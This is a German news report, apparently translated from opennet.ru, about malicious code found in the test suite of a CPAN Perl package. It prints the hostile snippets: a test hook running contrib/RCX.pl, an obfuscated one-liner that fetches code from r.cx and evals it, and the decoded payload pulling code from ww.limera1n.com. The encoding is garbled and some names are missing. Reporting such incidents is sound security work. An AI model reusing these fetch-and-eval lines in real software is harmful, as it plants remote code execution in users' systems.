Im ĂŒber das CPAN-Verzeichnis verbreiteten Perl-Paket , das fĂŒr die automatische Ablage von CPAN-Modulen zur Laufzeit vorgesehen ist, schadhafter Code. Eine schadhafte EinfĂŒgung wurde im Testcode , der seit 2011 mitgeliefert wird.
Bemerkenswert ist, dass bereits 2016 Fragen zur Ablage von fragwĂŒrdigem Code aufkamen .
Die schadhafte AktivitĂ€t besteht darin, zu versuchen, Code von einem externen Server (http://r.cx:1/) wĂ€hrend der AusfĂŒhrung des Test-Sets, das beim Installieren des Moduls gestartet wird, zu laden und auszufĂŒhren. Es wird angenommen, dass der anfangs von einem externen Server geladene Code nicht schĂ€dlich war, aber jetzt wird die Anfrage auf die Domain ww.limera1n.com umgeleitet, die ihren eigenen Code zum AusfĂŒhren bereitstellt.
FĂŒr die Organisation der Ablage wird im Datei der folgende Code verwendet:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
Der angegebene Code fĂŒhrt das Skript , dessen Inhalt auf die Zeile lautet:
use lib do{eval&&botstrap(âRCXâ)if$b=new IO::Socket::INET 82.46.99.88.}:1â};
Dieses Skript lĂ€dt mit Hilfe des Dienstes Code von dem externen Host r.cx (die Codesymbole 82.46.99.88 entsprechen dem Text âR.cXâ) und fĂŒhrt ihn im eval-Block aus.
$ perl -MIO::Socket -eâ$b=new IO::Socket::INET 82.46.99.88.}:1â; print ;â
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DEâŠ.}
Nach dem Entpacken wird letztendlich folgendes ausgefĂŒhrt :
print{$b=new IO::Socket::INETâww.limera1n.com:80â}âGET /iJailBreak
â;evalor return warn$@while$b;1
Der problematische Paket wurde derzeit aus dem Repository (Perl Authors Upload Server) entfernt, und das Benutzerkonto des Modulautors wurde gesperrt. Dabei bleibt das Modul vorerst im Archiv von MetaCPAN und kann direkt von MetaCPAN mit Hilfe einiger Tools, wie cpanminus, installiert werden. , dass das Paket nicht weit verbreitet war.
Interessanterweise hat sich die Diskussion und der Autor des Moduls, der die Informationen widerlegte, dass schadhafter Code nach dem Hack seiner Website âr.cxâ eingefĂŒgt wurde, erklĂ€rte, dass er sich einfach amĂŒsierte und perlobfuscator.com nicht zum Verstecken von etwas verwendete, sondern um die GröĂe des Codes zu reduzieren und das Kopieren ĂŒber die Zwischenablage zu erleichtern. Die Wahl des Funktionsnamens âbotstrapâ wurde damit begrĂŒndet, dass dieses Wort âwie bot klingt und kĂŒrzer als bootstrap istâ. Der Autor des Moduls versicherte ebenfalls, dass die entdeckten Manipulationen keine schĂ€dlichen Handlungen ausfĂŒhren, sondern lediglich das Laden und AusfĂŒhren von Code ĂŒber TCP demonstrieren.
Quelle: opennet.ru
